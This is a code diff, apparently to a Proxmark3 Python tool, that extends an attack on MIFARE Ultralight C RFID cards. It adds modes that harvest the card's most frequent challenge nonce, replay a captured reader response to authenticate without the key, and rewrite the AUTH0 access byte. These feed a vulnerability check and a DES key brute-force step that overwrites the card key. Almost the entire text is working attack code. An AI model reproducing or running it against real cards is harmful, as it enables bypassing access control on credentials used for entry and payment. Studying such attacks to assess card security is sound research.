1313import argparse
1414import random
1515import sys
16- import os
1716import re
1817import threading
1918import time
@@ -233,52 +232,77 @@ def start(self):
233232 scramble_thread .join ()
234233
235234
236- def collect (num_challenges : int , p , debug : bool , force :bool ) -> Optional [dict ]:
237- """
238- Collect challenges from the card and check if it is vulnerable.
235+ def try_unlock (num_challenges : int , erndb : str , erndarndb : str , p ) -> bool :
236+ """Try to unlock the card by using the provided reader response
239237
240238 Args:
241- num_challenges (int): Number of challenges to collect .
242- p: Proxmark3 instance .
243- debug (bool ): Enable debug mode .
244- force (bool): Force the attack even if the card does not appear vulnerable (dangerous!) .
239+ num_challenges (int): Number of challenge reads to attempt .
240+ erndb (str): Card challenge to look for .
241+ erndarndb (str ): Reader response to use .
242+ p: Proxmark3 instance used to issue raw commands and read responses .
245243
246244 Returns:
247- Optional[dict]: Collected challenges data or None if the card is not vulnerable.
245+ bool:
246+ Success
248247 """
249- # Sanity check: make sure an Ultralight C is on the Proxmark
250- p .console ("hf 14a info" )
251- if "MIFARE Ultralight C" not in p .grabbed_output :
252- print ("[-] Error: \033 [1;31mUltralight C not placed on Proxmark\033 [0m" )
253- return
254- else :
255- print ("[+] Ultralight C detected. Keep stable on Proxmark during the attack." )
248+ challenges_collected = 0
249+ next_progress = 10
256250
257- # Sanity check: ensure card is unlocked and lock bytes do not prevent key overwrite
258- p .console ("hf 14a raw -sc 3028" )
259- hex_bytes = p .grabbed_output .split ()
260- if len (hex_bytes ) < 16 :
261- print ("[-] Error: \033 [1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033 [0m" )
262- return
263- data_bytes = [bytes .fromhex (b ) for b in hex_bytes [1 :17 ]]
264- # Byte 0 of page 42: 0x30 minimum
265- minimum_auth_page = ord (data_bytes [8 ])
266- if minimum_auth_page < 48 :
267- print ("[-] Error: \033 [1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033 [0m" )
268- return
269- # First bit of byte 1 in page 40: lock key
270- is_locked_key = ((ord (data_bytes [1 ]) & 0x80 ) >> 7 ) == 1
271- if is_locked_key :
272- print ("[-] Error: \033 [1;31mCard is not vulnerable (see READ mode in relay app)\033 [0m" )
273- return
251+ print ("[=] Waiting for the provided challenge to appear..." )
252+ while challenges_collected < max (1 , num_challenges ):
253+ p .console ("hf 14a raw -sck 1A00" )
254+ challenge = p .grabbed_output .split ()
255+ if (len (challenge ) > 8 ) and (challenge [1 ] == "AF" ):
256+ hex_challenge = "" .join (challenge [2 :10 ]).upper ()
257+ # print(hex_challenge, erndb)
258+ challenges_collected += 1
259+ progress = challenges_collected * 100 // max (1 , num_challenges )
260+ if progress >= next_progress :
261+ print (f"[=] Progress: { min (progress , 100 )} %" )
262+ next_progress += 10
263+ if hex_challenge == erndb :
264+ p .console (f"hf 14a raw -ck AF{ erndarndb } " )
265+ response = p .grabbed_output .split ()
266+ if (len (response ) > 8 ) and (response [1 ] == "00" ):
267+ print ("[+] Unlock successful!" )
268+ # Rewrite AUTH0
269+ p .console ("hf 14a raw -c a2 2a 30000000" )
270+ response = p .grabbed_output .split ()
271+ if response [1 ] == "0A" :
272+ print ("[+] AUTH0 reset successful!" )
273+ return True
274+ else :
275+ print ("[-] AUTH0 reset failed" )
276+ print (response )
277+ return False
278+ else :
279+ print ("[-] Unlock failed" )
280+ p .console ("hf 14a reader --drop" , capture = False )
281+ return False
282+ p .console ("hf 14a reader --drop" , capture = False )
283+ print ("[-] Provided challenge not found, try again" )
284+ return False
285+
286+
287+ def collect_100 (num_challenges : int , p , early_stop : bool ) -> tuple [int , dict ]:
288+ """Collect challenges and track the most frequent nonce occurrence.
274289
275- print ("[+] All sanity checks \033 [1;32mpassed\033 [0m. Checking if card is vulnerable.\033 [?25l" )
290+ Args:
291+ num_challenges (int): Number of challenge reads to attempt.
292+ p: Proxmark3 instance used to issue raw commands and read responses.
293+ early_stop (bool): Stop as soon as a repeated challenge is detected.
276294
295+ Returns:
296+ tuple[int, dict]:
297+ - max_occurrence: Highest number of times any single challenge appeared.
298+ - challenges: Collected challenge map including "challenge_100", set to the
299+ most frequent challenge seen during collection.
300+ """
277301 # Collect challenges (100)
278302 challenges_collected = 0
279- challenges_100 = set ()
303+ occurrences = {}
304+ max_occurrence = 1
280305 challenges = {}
281- collision = False
282306
283307 while challenges_collected < max (1 , num_challenges ):
284308 p .console ("hf 14a raw -sc 1A00" )
@@ -287,16 +311,20 @@ def collect(num_challenges: int, p, debug: bool, force:bool) -> Optional[dict]:
287311 hex_challenge = "" .join (challenge [2 :10 ])
288312 if challenges_collected == 0 :
289313 challenges ["challenge_100" ] = hex_challenge
290- if hex_challenge in challenges_100 :
291- collision = True
292- break
314+ if hex_challenge in occurrences :
315+ occurrences [hex_challenge ] += 1
316+ if occurrences [hex_challenge ] > max_occurrence :
317+ max_occurrence = occurrences [hex_challenge ]
318+ challenges ["challenge_100" ] = hex_challenge
319+ if early_stop :
320+ break
293321 else :
294- challenges_100 . add ( hex_challenge )
322+ occurrences [ hex_challenge ] = 1
295323 challenges_collected += 1
296324
297325 print ("\n [+] 100 collection complete" )
298326 print (f"\r [+] Challenges collected: \033 [96m{ challenges_collected } \033 [0m" )
299- if collision :
327+ if max_occurrence > 1 :
300328 print ("[+] Status: \033 [1;31mVulnerable\033 [0m\033 [?25h" )
301329 else :
302330 experimental_chals_subset_size = 600
@@ -306,8 +334,76 @@ def collect(num_challenges: int, p, debug: bool, force:bool) -> Optional[dict]:
306334 precision = max (1 , - int (math .floor (math .log10 (probability_no_collision ))) + 1 )
307335 print ("[+] Status: \033 [1;32mNot vulnerable\033 [0m"
308336 f" (false negative probability: { probability_no_collision * 100 :.{precision - 1 }f} %)\033 [?25h" )
309- if not force :
310- return
337+ return max_occurrence , challenges
338+
339+
340+ def get_ulc_uid (p ) -> Optional [str ]:
341+ """Check whether the card on the reader is a MIFARE Ultralight C.
342+
343+ Args:
344+ p: Proxmark3 instance.
345+
346+ Returns:
347+ tuple[bool, Optional[str]]:
348+ - True and normalized UID (uppercase hex, no spaces) when detected.
349+ - False and None otherwise.
350+ """
351+ # Sanity check: make sure an Ultralight C is on the Proxmark
352+ p .console ("hf 14a info" )
353+ info = p .grabbed_output
354+ if "MIFARE Ultralight C" not in info :
355+ print ("[-] Error: \033 [1;31mUltralight C not placed on Proxmark\033 [0m" )
356+ return None
357+ else :
358+ print ("[+] Ultralight C detected. Keep stable on Proxmark during the operations." )
359+ uid_match = re .search (r"UID:\s*([0-9A-Fa-f ]+)" , info )
360+ uid = "" .join (uid_match .group (1 ).split ()).upper () if uid_match else None
361+ return uid
362+
363+
364+ def collect (num_challenges : int , p , debug : bool , force : bool = False , erndarndb : Optional [str ] = None ) -> Optional [dict ]:
365+ """
366+ Collect challenges from the card and check if it is vulnerable.
367+
368+ Args:
369+ num_challenges (int): Number of challenges to collect.
370+ p: Proxmark3 instance.
371+ debug (bool): Enable debug mode.
372+ force (bool): Force the attack even if the card does not appear vulnerable (dangerous!).
373+
374+ Returns:
375+ Optional[dict]: Collected challenges data or None if the card is not vulnerable.
376+ """
377+
378+ uid = get_ulc_uid (p )
379+ if uid is None :
380+ return
381+
382+ # Sanity check: ensure card is unlocked and lock bytes do not prevent key overwrite
383+ p .console ("hf 14a raw -sc 3028" )
384+ hex_bytes = p .grabbed_output .split ()
385+ if len (hex_bytes ) < 16 :
386+ print ("[-] Error: \033 [1;31mCard not unlocked. See --get_frequent_chal and --unlock.\033 [0m" )
387+ return
388+ data_bytes = [bytes .fromhex (b ) for b in hex_bytes [1 :17 ]]
389+ # First bit of byte 1 in page 40: lock key
390+ is_locked_key = ((ord (data_bytes [1 ]) & 0x80 ) >> 7 ) == 1
391+ if is_locked_key :
392+ print ("[-] Error: \033 [1;31mCard OTP prevents key overwrite."
393+ " Card is not vulnerable (see READ mode in relay app)"
394+ " unless it's a Giantec (see tearing OTP)\033 [0m" )
395+ return
396+ # Byte 0 of page 42: 0x30 minimum
397+ minimum_auth_page = ord (data_bytes [8 ])
398+ if minimum_auth_page < 48 :
399+ print ("[-] Error: \033 [1;31mCard not unlocked. See --get_frequent_chal and --unlock.\033 [0m" )
400+ return
401+
402+ print ("[+] All sanity checks \033 [1;32mpassed\033 [0m. Checking if card is vulnerable.\033 [?25l" )
403+
404+ max_occurrence , challenges = collect_100 (num_challenges , p , early_stop = True )
405+ if max_occurrence <= 1 and not force :
406+ return
311407
312408 # The card is vulnerable, proceed with attack
313409 # Danger zone. To reset a test card, run: hf mfu setkey -k 49454D4B41455242214E4143554F5946
@@ -408,18 +504,50 @@ def main():
408504 help = 'Use CUDA implementation' )
409505 parser .add_argument ('--force' , action = 'store_true' ,
410506 help = 'Force the attack even if the card does not appear vulnerable (dangerous!)' )
507+ parser .add_argument ('--get_frequent_chal' , action = 'store_true' ,
508+ help = 'Collect a "gold" challenge to perform an unlock, and quit afterwards' )
509+ parser .add_argument ('--unlock' , help = 'Unlock a card with a "gold" challenge/response pair' ,
510+ type = str , metavar = 'ERndB,ERndARndB\' ' )
411511 args = parser .parse_args ()
412512 debug = args .debug
413513 num_challenges = args .challenges
414514 offline = args .offline
415515 use_cuda = args .cuda
416516 force = args .force
517+ get_frequent_chal = args .get_frequent_chal
518+ erndb , erndarndb = args .unlock .split (',' ) if args .unlock else (None , None )
417519 brute_tool = tools ["mfulc_des_brute_cuda" ] if use_cuda else tools ["mfulc_des_brute" ]
418520
521+ if get_frequent_chal and (offline or args .json or force or use_cuda ):
522+ print ("[-] Error: --get_frequent_chal can only be combined with --challenges" )
523+ return
524+
525+ if (erndb or erndarndb ) and offline :
526+ print ("[-] Error: --unlock can'n be combined with --offline" )
527+ return
528+
529+ if get_frequent_chal :
530+ import pm3
531+ p = pm3 .pm3 ()
532+ uid = get_ulc_uid (p )
533+ if uid is None :
534+ return
535+ max_occurrence , challenges = collect_100 (num_challenges , p , early_stop = False )
536+ print (f"[+] Most frequent challenge: \033 [1;34m{ challenges ['challenge_100' ]} \033 [0m"
537+ f" (occurrences: { max_occurrence } /{ num_challenges } )" )
538+ print ("[+] Get the corresponding reader response with" )
539+ print (f"[+] \033 [1;33mhf mfu sim -t 13 -u { uid } --1a1 { challenges ['challenge_100' ]} \033 [0m" )
540+ return
541+
419542 if not offline :
420543 import pm3
421544 p = pm3 .pm3 ()
422- challenges = collect (num_challenges , p , debug , force )
545+ if erndb and erndarndb :
546+ erndb = erndb .upper ()
547+ erndarndb = erndarndb .upper ()
548+ if not try_unlock (num_challenges , erndb , erndarndb , p ):
549+ return
550+ challenges = collect (num_challenges , p , debug , force , erndarndb )
423551 if challenges is None :
424552 return
425553 if args .json :
0 commit comments